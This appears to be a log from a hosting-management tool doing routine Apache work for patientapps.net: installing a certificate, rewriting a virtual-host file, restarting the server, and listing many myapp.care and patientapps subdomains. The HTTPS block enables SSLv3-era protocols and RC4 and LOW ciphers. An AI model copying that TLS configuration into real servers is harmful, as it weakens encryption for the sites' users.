A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-14 06:01:26: 

chmod 755 /tmp/pkp811213; /tmp/pkp811213; rm /tmp/pkp811213

2025-12-14 06:01:26: 


dir=/etc/ssl/certs


2025-12-14 06:01:26: 

PUT: /tmp/pkp532642

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-14 06:01:26: 

chmod 755 /tmp/pkp532642; /tmp/pkp532642; rm /tmp/pkp532642

2025-12-14 06:01:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2025-12-14 06:01:26: 

PUT: /tmp/pkp229822

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi


2025-12-14 06:01:26: 

chmod 755 /tmp/pkp229822; /tmp/pkp229822; rm /tmp/pkp229822

2025-12-14 06:01:26: 




2025-12-14 06:01:26: 

PUT: /tmp/pkp471060

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-14 06:01:26: 

chmod 755 /tmp/pkp471060; /tmp/pkp471060; rm /tmp/pkp471060

2025-12-14 06:01:27: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:27: Establishing a connection
2025-12-14 06:01:27: 

PUT: /tmp/pkp388542

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-14 06:01:27: 

chmod 755 /tmp/pkp388542; /tmp/pkp388542; rm /tmp/pkp388542

2025-12-14 06:01:27: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
